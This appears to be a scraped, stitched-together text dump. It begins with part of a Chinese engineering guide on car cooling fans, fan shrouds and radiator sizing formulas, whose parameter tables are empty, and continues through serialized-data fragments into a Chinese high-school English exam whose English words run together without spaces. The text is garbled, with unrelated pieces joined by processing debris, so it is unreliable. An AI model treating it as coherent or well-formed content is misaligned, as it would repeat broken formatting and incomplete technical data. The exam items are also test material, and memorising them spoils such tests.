@#@是扇叶以中心轴为基准,因制造工艺而产生的不平衡力矩,静不平衡量越小,风扇运转过程中产生的晃动越小,噪声越小,风扇可靠性越好。
@#@电子扇一般控制在40g/m以内,本参数的控制可反映出供应商的制造水平高低。
@#@@#@2,噪声:
@#@噪声要求应达到整车噪声要求@#@(四)风扇介绍@#@4.1护风罩@#@风扇护风罩是为了提高风扇的冷却效率,使通过散热器芯部的气流均匀分布,并减少发动机舱内热空气回流而设计的。
@#@因此,设计风扇护风罩时应注意技术的合理性,主要有以下几点:
@#@@#@1、对于前置发动机,风扇护风罩的设计分整体式和分开式两种;@#@对于后置式发动机,一般都采用整体式。
@#@分开式护风罩两部分之间有相对运动,必须用帆布圈柔性密封连接。
@#@@#@2、护风罩与风扇叶尖的径向间隙应尽可能小,以保证风扇冷却效率。
@#@当采用分开式护风罩时,风扇与护风罩无相对运行,其径向间隙应不超过风扇直径的1.5%,或者5mm~10mm;@#@当采用整体式护风罩时,风扇与护风罩有相对运动,其径向间隙也不应超过风扇直径的2.5%,或者15mm~20mm。
@#@@#@3、应注意护风罩结构设计的合理性,不应有阻挡风扇气流的死角。
@#@@#@4、风扇伸入护风罩的轴向位置,与进气效率有很大关系,对于吸风式风扇,风扇叶片的投影宽度应伸入护风罩内2/3为宜。
@#@@#@5、在安装护风罩时必须注意,护风罩与散热器之间不得有缝隙,应采用橡胶或泡沫塑料垫加以密封,以保证冷却效率不降低。
@#@@#@6、驾驶员应经常检查风扇与护风罩之间的径向间隙,以确保发动机风扇与散热器发生相对位移时,风扇与护风罩之间不产生碰触。
@#@@#@7、从成本角度考虑,在大批量生产的车型中,多采用塑料护风罩。
@#@@#@4.2风扇@#@发动机曲轴带动风扇@#@发动机曲轴通过皮带轮带动冷却风扇旋转,发动机转速越快,风扇转动越快。
@#@只要发动机启动,它就要运转,不能视发动机温度变化而变化,采用这种方案,如果要调节散热器的冷却强度,要在散热器上装上活动百页窗以控制进入的风量。
@#@@#@风扇离合器控制风扇@#@为了确保冷却风扇的送风能力,设计时都按低速考虑,保证在低速时风扇有足够的送风量,这样考虑的结果,使高速时的风扇送风能力过大。
@#@因此,在车辆通常行驶情况下,应该把风扇的转速控制在适当范围内,这样才能降低噪声,提高发动机经济性。
@#@使用风扇离合器可以控制转速(以下简称AFC)。
@#@在AFC内部粘有粘性流体(硅油),靠其剪切力传递扭矩。
@#@在风扇前面装有双金属片,用来感知流过散热器的空气温度,因此,控制风扇离合器工作腔内的硅油量,使其只是在必要时,才传递扭矩使风扇旋转,当水温比较低时离合器与转轴分离,风扇不动,当水温比较高时由温度传感器接通电源,使离合器与转轴接合,风扇转动。
@#@由于风扇离合器容易实现远距离控制、使发动机工作温度得到了控制,在汽车行业得到了一定程度的推广。
@#@但是经过实验,风扇离合器的温度控制性能、可靠性、维修性相对较差,因此越来越多的汽车上开始采用电动风扇。
@#@@#@4.3、电动风扇@#@电动风扇是由电动机来驱动风扇,电动机的起停是受水温直接感应的温度开关来控制。
@#@汽车在低速怠速时冷却效果好,冷车启动时水温上升较快。
@#@电动机功率一般比较低,因此风扇的风量受到限制。
@#@@#@电控式冷却风扇是一种更先进的控制方式,该系统能使风扇产生最佳风量,并大幅度降低风扇的噪声。
@#@为了控制合理的送风量,使用专用计算机收集下列传感器信号,如水温传感器、空调器开关、发动机转速传感器等,计算机利用这些信息,计算出最佳风扇转速。
@#@该系统仅仅在需要时由电动马达带动风扇工作,供给所需的风量。
@#@这种系统的位置布置自由度大,故在发动机横置的车中的应用逐渐增加。
@#@用这种方式控制的风扇,在冷却液温度低时风扇停止转动,而在冷却液温度高时风扇增加转速。
@#@由于电动风扇容易实现上述控制,故其有提高发动机暖机性能、提高经济性、降低噪声的优点。
@#@电动风扇不使用发动机做动力源,所以其转速与发动机转速无关。
@#@电动风扇使用蓄电池电能,蓄电池只在需要风扇供风时才给风扇供电。
@#@这种风扇无动力损失,构造简单,总布置方便。
@#@电动风扇按其转速分为二种形式,一种为单速式,一种为双速式。
@#@@#@自控电动冷却风扇可以充分利用汽车行驶迎面风的冷却作用而大量减少发动机驱动冷却风扇的功率损失,缩短了预热时间,实现最佳温度控制,大量减少了发动机的传热损失,是当前降低汽车耗油最有效、最简捷的途径之一。
@#@因此在节能和排放法规日趋严格的发达国家的轿车上得到广泛的应用。
@#@@#@四,设计计算匹配@#@
(一)参数输入:
@#@@#@1,发动机参数:
@#@@#@项目@#@代号@#@设计输入@#@备注@#@散热系数@#@A@#@ @#@ @#@ @#@额定@#@工况@#@功率@#@Ne@#@ @#@ @#@ @#@燃油消耗率@#@ge@#@ @#@ @#@ @#@最大@#@扭矩@#@工况@#@最大扭距@#@Me@#@ @#@ @#@ @#@功率@#@Ne’@#@ @#@ @#@ @#@燃油消耗率@#@ge’@#@ @#@ @#@ @#@2,水泵参数:
@#@@#@a,额定工况@#@项目@#@代号@#@设计输入@#@备注@#@转速@#@ @#@ @#@r/min@#@ @#@ @#@ @#@流量@#@Vw@#@ @#@ @#@ @#@ @#@ @#@功率@#@ @#@ @#@ @#@ @#@ @#@ @#@b,最大扭矩工况@#@项目@#@代号@#@设计输入@#@备注@#@转速@#@ @#@ @#@r/min@#@ @#@ @#@ @#@流量@#@Vw’@#@ @#@ @#@ @#@ @#@ @#@功率@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@@#@
(二)匹配计算@#@1,散热量计算:
@#@整车需要冷却系统带走的热量计算,根据整车具体不知情况考虑是否包括冷凝器,中冷器的散热量。
@#@@#@额定工况发动机散热量:
@#@Qw=A*ge*Ne*Hn/3600@#@最大扭距工况发动机热量:
@#@Qw’=A*ge’*Ne’*Hn/3600@#@其中参数为:
@#@@#@A:
@#@传给冷却系统的热量占燃料热能的百分比(一般柴油机=0.18~0.25,涡流机比直喷机高;@#@汽油机A=0.23~0.30)@#@Hn:
@#@燃料热值,柴油和汽油的低热值分别为41870Kj/Kg和43100Kj/Kg@#@由上可以得出散热系统所需带走的热量,取其中最大值。
@#@以下以额定点为例。
@#@@#@2,散热器散热面积@#@散热器面积:
@#@F=Q/(Kr*△tϕ)@#@△t=tw-ta@#@冷却水平均温度:
@#@tw=tw1-△tw/2@#@散热器进水温度:
@#@tw1@#@散热器进出水温差:
@#@△tw:
@#@一般取5~10@#@冷却空气平均温度:
@#@ta=t1+△ta/2@#@散热器进风温度:
@#@t1@#@散热器冷却空气进出温差:
@#@△ta一般取20~30@#@平均温度修正系数ϕ:
@#@汽车发动机的冷却形式,属于两种流体(空气及冷却水)互不混合的交叉流式换热形式,所以要以修正系数ϕ对平均温差进行修正,此处取ϕ=0.98@#@由此可以初步计算出散热器散热面积,散热器散热面积与功率的比一般如下:
@#@@#@小客车:
@#@@#@@#@载重车:
@#@@#@@#@拖拉机:
@#@@#@@#@3额定点散热器内冷却液流量Vw计算@#@Qw=Vw*△tw*γw*cw@#@Vw=Qw/(△twγwcw)及额定点水泵流量,@#@此数值可由发动机提供,也可由上述公式进行计算得出。
@#@@#@4,散热器迎风面积F计算@#@F=Qw/Δt/γa/CP/V@#@Qw:
@#@额定点散热量@#@Δt:
@#@散热器冷却空气进出温差,一般取20~30@#@CP:
@#@空气比热容@#@γa:
@#@空气的比重@#@V:
@#@空气流速(矿山车和拖拉机取8m/s,载重车取8~10m/s,小客车取12m/s)@#@然后算出芯体的宽b和高h,最佳比例为b=h。
@#@@#@5,芯体厚度@#@(m)@#@……………………………………………………@#@式中:
@#@φ——散热器芯体的容积紧凑性系数,即单位散热芯部容积所具有的散热面积,m2/m3。
@#@φ值越大,散热器越小,空气阻力越大。
@#@主要取决于散热片和水管的数目、布置和形状,一般取500~1000.对于选定的芯部结构,它是一个定值。
@#@@#@注:
@#@@#@1、在整车空间布置允许的条件下,尽量增大散热器的迎风面积,减薄芯子厚度。
@#@这样可以充分利用风扇的风量和车的迎面风,提高散热器的散热效率。
@#@@#@2、货车散热器一般采用纵流结构,因为货车的布置空间较宽裕。
@#@而且纵流式结构的散热器强度及悬置的可靠性好。
@#@轿车由于空间限制,也可采用横流结构。
@#@@#@6,电子扇风量Va计算:
@#@@#@当汽车在行驶中时,散热器的迎面风速较高,此时冷却风扇的风量对散热器的散热量并无明显影响;@#@但当汽车以怠速行驶时,无外界迎面风的影响,此时冷却风扇的风量大小就决定了散热器散热性能的高低。
@#@所以此处计算散热器怠速条件下的散热器散热量@#@V1=QW/Δt/γa/CPVa=V1/ηf@#@Qw:
@#@额定点散热量@#@Δt:
@#@散热器冷却空气进出温差,一般取20~30@#@CP:
@#@空气比热容@#@γa:
@#@空气的比重@#@ηf:
@#@风量损失,一般取0.7~0.9@#@由此计算出电子扇的最小风量,@#@设计验证@#@对样件进行零部件试验,随整车进行热平衡试验,确定是否满足整车要求:
@#@@#@1,水温保持在发动机最佳工作温度之内;@#@@#@2,液气温差是否满足法规要求。
@#@@#@";i:
8;s:
11452:
"山东省德州市某中学1213学年高一月考英语试题@#@高一英语月考测试题@#@(注意:
@#@考生须将第一卷答案转涂到答题卡上,第二卷答案直接书写在第二卷卷面上。
@#@考试结束,上交答题卡及第二卷。
@#@)@#@第一卷(共105分)@#@第一部分.听力测试@#@第一节(共5小题。
@#@每小题1.5分,满分7.5分)@#@听下面5段对话。
@#@每段对话后有一个小题,从题中所给的三个选项中选出最佳选项1.Whatkindofdumplingsdoesthewomanlikebest?
@#@@#@A.Cabbageandporkdumplings.@#@B.Onionandmuttondumplings.@#@C.Onionandporkdumplings.@#@2.Wheredoestheconversationmostprobablytakeplace?
@#@@#@A.Inatheatre.B.Inarestaurant.C.Inaplane.@#@3.WhatcanwelearnaboutJack?
@#@@#@A.Heistall.B.Heisnaughty.C.Heisweak.@#@4.Whatisthewomandoingnow?
@#@@#@A.Offeringhelp.B.Givingadvice.C.Askingtheway.@#@5.Whatmighthavehappened?
@#@@#@A.Afire.B.Anearthquake.C.Acaraccident.@#@第二节(共15小题;@#@满分15分)@#@听下面5段对话或独白。
@#@每段对话或独白后有几个小题,从题中所给的A、B、C三个选项中选出最佳选项,并标在试卷的相应位置。
@#@听每段对话或独白前,你将有时间阅读各个小题,每小题5秒钟;@#@听完后,各小题给出5秒钟的作答时间。
@#@每段对话或独白读两遍。
@#@@#@听第6段材料,回答第6、7题。
@#@@#@6.Whattimewillthedinnerbeready?
@#@@#@A.At6:
@#@10.B.At6:
@#@20.C.At6:
@#@30.@#@7.Whydidthegirlhaveabadday?
@#@@#@A.Shewaslateforschool.B.Shelostapairofshoes.@#@C.Shetookthewrongbus.@#@听第7段材料,回答第8至10题。
@#@@#@8.What’stherelationshipbetweenthetwospeakers?
@#@@#@A.Friends.B.Workmates.C.Husbandandwife.@#@9.Whatwillthemandrink?
@#@@#@A.Milk.B.Tea.C.Coffee.@#@10.Wherewillthespeakershavesupper?
@#@@#@A.Athome.B.Inarestaurant.C.AtDavid’shome.@#@听第8段材料,回答第11至13题。
@#@@#@11.WhatisprobablytheRedSun?
@#@@#@A.Asupermarket.B.Aclub.C.Arestaurant.@#@12.Whatwilltheydoaftertheparty?
@#@@#@A.Singsongs.B.Drinktea.C.Playchess.@#@13.Wheredoestheconversationprobablytakeplace?
@#@@#@A.InaKTVbar.B.Atateahouse.C.Onthephone.@#@听第9段材料,回答第14至16题。
@#@@#@14.Whatkindofjobdoesthemanchoose?
@#@@#@A.Awaiter.B.Acook.C.Acleaner.@#@15.Howlongdidthemanworkinabar?
@#@@#@A.Abouttwomonths.B.Abouthalfayear.C.Aboutoneyear.@#@16.Howlongwillthemanworkaday?
@#@@#@A.Forsixhours.B.Forfivehours.C.Forfourhours.@#@听第10段材料,回答第17至20题。
@#@@#@17.WhatdidBobusuallydoonthetrain?
@#@@#@A.Readstorybooks.B.Listenedtotheradio.@#@C.Talkedwithothers.@#@18.WhendidBobusuallygettohisofficeinthepast?
@#@@#@A.Atabout8:
@#@25.B.Atabout8:
@#@30.C.Atabout9:
@#@00.@#@19.WhatcanwelearnaboutBob’sjob?
@#@@#@A.Thesalaryisnotveryhigh.@#@B.Itcanbedoneoncomputer.@#@C.Itisaboutprotectingenvironment.@#@20.HowdoesBobfeelaboutthewayofworkingnow?
@#@@#@A.Heissatisfied.B.Heisdisappointed.C.Hedoesn’tcareaboutit.@#@第二部分:
@#@单项填空(共15小题,每题1分,满分15分)从A、B、C、D四个选项中选出可以填入空白处的最佳答案。
@#@@#@21.After________dinner,Stephanielikestoplay________guitarforawhileinthegarden.@#@A.a;@#@aB.不填;@#@theC.the;@#@aD;@#@不填;@#@不填@#@22.Thehallwasfullofpeople_____toseethefamousactor.@#@A.anxiousB.enthusiasticC.patientD.frightened@#@23.—______himofftomorrow,oryouwillregretit.—Iwill.@#@A.ToseeB.SeeingC.Ifyoudon’tseeD.See@#@24.Mysisterhasboughtanewcar________colorisbrightred.@#@A.itsB.thatC.whoseD.which@#@25.—Whydidn'@#@tyoustophergoingswimmingalone?
@#@@#@—Shehadlefttheroom_____Ihadtimetodoit.@#@A.afterB.beforeC.tillD.as@#@26.Thisisthefirsttimewe______afilminthecinematogetherasafamily.@#@A.seeB.hadseenC.sawD.haveseen@#@27.Hangzhou_______thebeautifulsceneryofWestLake.@#@A.isKnownforB.isknowntoC.isknownasD.isknowto@#@28.She___________anewideaforimprovingourEnglish.@#@A.cameupwithB.catchupwith@#@C.keepupwithD.cameup@#@29.Whatareyoudoingoutofbed,Tom?
@#@Youare___________tobeasleep.@#@A.supposedB.knownC.thoughtD.considered@#@30.Thebook__________ofsevenmodules,theseventhofwhichisrevision.@#@A.consistsB.isconsisting@#@C.isconsistedD.willbeconsisted@#@31.Travellinginspacehasbeenmade__________possiblewiththedevelopmentofscienceandtechnology.@#@A.thatB./C.itD.this@#@32.Mr.BrownknowslittleJapanese,sohecan’tunderstandthe______onthebottleofthepills.@#@A.explanationsB.introductionsC.descriptionsD.instructions@#@33.Heworkedhard,______hepassedtheexam.@#@A.inaresultB.asresultC.asaresultD.foraresult@#@34.Don’tlaughatpeoplewhoare______.@#@A.introublesB.inatrouble@#@C.introubleD.inmanytroubles@#@35.ShallIlockthelabbeforeIgohome?
@#@@#@__________.I’llcheckitmyselflater.@#@A.GoaheadB.NoproblemC.NohurryD.Don’tbother.@#@第三部分:
@#@完形填空(共20小题,每小题1分满分20分)阅读下面短文,从短文后所给各题的A、B、C、D四个选项中选出能填入空白处的最佳答案。
@#@@#@Weoftenseedogsalwaysputtheirtongues(舌头)outinsummer.But36thedogsdidn’tdoso.Longlongago,thedogwasverybad.He37didagooddeed.@#@Onesummerdaythedog38intoaforest.39hesawtheforestwasbeautifulandclean,a40ideacametohim.Thenhebrought41dirtythingstotheforestandput42everywhere.Whathedidwas43byamonkeywhohid44abigtree.Hedidn’ttellanyone45thedogdidbecause46didnotknowwhythedogdidso.@#@Severaldays47,itgothotterandhotter,andthedirtythingsbecamerotten(腐烂).Theairsmelt48.Manyanimalsfellill.Alltheotheranimalsbecameangryandtried49whohaddoneitandpunishhim.Themoneyknew50badthedogwas.Sohe51theotheranimalsthetruth.Theycatchupwiththedogand52himeatallthedirtythingsand53theforestclean.@#@Afterthatthedog54honest.Torememberthis,heputhistongueoutin55.@#@36.A.atlastB.atleastC.inthepastD.firstofall@#@37.A.neverB.oftenC.foreverD.suddenly@#@38.A.enteredB.arrivedC.reachedD.went@#@39.A.SoB.WhenC.SothatD.Once@#@40.A.goodB.badC.wonderfulD.common@#@41.A.alotB.agreatmanyC.muchD.alittle@#@42.A.itB.thatC.theseD.them@#@43.A.lookedB.caughtC.watchedD.seen@#@44.A.behindB.beforeC.aroundD.besides@#@45.A.howB.whenC.whatD.why@#@46.A.heB.himC.whomD.which@#@47.A.beforeB.agoC.laterD.long@#@48.A.terribleB.niceC.badlyD.clean@#@49.A.nottotellB.tofindoutC.nottellingD.findingout@#@50.A.veryB.whatC.whyD.how@#@51.A.saidB.spokeC.toldD.answered@#@52.A.wantedB.letC.allowedD.asked@#@53.A.keepB.letC.haveD.make@#@54.A.wasn’tB.didn’tseemtobeC.becameD.went@#@55.A.springB.summerC.autumnD.winter@#@第四部分:
@#@.阅读理解(共20小题;@#@每小题2分,满分40分)@#@A@#@Itwaswinter,andMrsMillerwantedtodoalotofshopping.ShewaiteduntilitwasSaturday,whenherhusbandwasfree,andshetookhimtotheshopswithhertopayforeverythingandtocarryforherwhatshehadbought.Theywenttoalotofshops,andMrs.Millerboughteverythingshecouldthinkof.Sheoftenstoppedandsaid,“Look,Peter!
@#@Isn’tthatbeautiful?
@#@”@#@MrMillerthenanswered,“Allright,mydear.Howmuchisit?
@#@”andhetookmoneyouttobuyitforher.@#@Itwasalmostdarkwhentheycameoutofthelastshop,andMrMillerwastired.Hewasthinkingaboutanicedrinkbythesideofawarmfirehome.Suddenlyhiswifelookedupattheskyandsaid,”Lookatthatbeautifulmoon,Peter!
@#@”@#@Withoutstopping,MrMilleransweredatonce.“Allright,dear.Howmuchisit?
@#@”Thenhetookhiswallet(钱包)outofhispocket.@#@56.MrsMillerdidshopping________.@#@A.aloneB.togetherwithherhusband@#@C.everydayD.inthemorning@#@57MrsMillertookherhusbandtotheshopsbecause_______.@#@A.helikedbeautifulthingsB.helikedtodoshoppingtoo.@#@C.shewantedhimtopaymoneyD.hewasalwaysfree@#@58.MrsMillerbought____intheshops.@#@A.nothingB.alotofthings@#@C.themostbeautifulthingD.adrink@#@59.MrMiller______theshopping.@#@A.wasveryinterestedinB.wasnotinterestedin@#@C.wasthinkingaboutD.liked@#@60.MrMiller______.@#@A.wantedtobuythemoon@#@B.didnotreallyknowwhathiswifewassaying@#@C.didnotliketheideaofbuyingthemoon@#@D.agreedtodoit@#@B@#@Veniceisacityofthesea.Itisbuiltonislandswhichareinthemiddleoflagoon(礁湖).Today,thecitycovers118islands.Theseislandsareconnected(连接)bybridges.Thereareabout400bridgeswhichcross150canals(运河).Itisdifficulttoforgettheseawhenyouareinthecity.@#@ManypeopleofVenicehavealwaysbeenfishermen,becausethelagoonisfulloffish.Theyalsobuildships,andtraveltoDalmatiaandGreece.@#@Veniceisthe“Queen(女王)”oftheAdriaticSea.Everymonththousandsofpeoplevisitthecity,whichisverybeautiful.ButVeniceisgoingdown.Itisgoingdownandthewaterisgoingup.In2040Venicewillbeunderwater.TheAdriaticwillcoverthecity.TheVenetianslovetheircityandtheywanttostaythere.TheywanttosaveVenice.Theydonotwanttoleave.Howcantheysucceed(成功)?
@#@Theycanputsomebiggatesinthesea,whichwillclose,soVenicewillnotgodown.@#@61.Thecityismadeupof______.@#@A.400bridgesB.150canals@#@C.118islandsD.alagoon@#@62.ThemaindifferencesbetweenVeniceandmostothercitiesintheworldisthat__.@#@A.Veniceisbigger@#@B.everyyearthousandsofpeoplevisitVenice@#@C.Veniceisaverybeautifulcity@#@D.Veniceisacityofthesea@#@63.PeoplecallVenicethe“Queen”oftheAdriaticSeabecause_____.@#@A.thequeenofthecountrylivesthere@#@B.theVenetianslovetheircity@#@C.itisabeautifulcityD.itissinking@#@64.TheVenetians______.@#@A.wanttoleaveVeniceB.donotliketheircity@#@C.wanttosavetheircityfromthesea@#@D.donotwanttostaythereanymore@#@65.Thetextsuggestedthat_______.@#@A.Venicewon’tbethe“Queen”oftheAdriaticSea@#@B.Veniceisn’tsinking@#@C.Venicewillbeunderwaterin2040@#@D.Venicewon’tbeunderwaterin2040@#@C@#@Inlearningaforeignlanguage,oneshouldfirstpayattentiontospeaking.Itisthegroundworkofreadingandwriting.You’dbettertryyourbesttospeak.Don’tbeafraidofmakingmistakes.";i:
9;s:
99:
"山西省忻州市第一中学学年高一下学期假期开学考试物理试题物理图片版@#@";}
- 配套讲稿:
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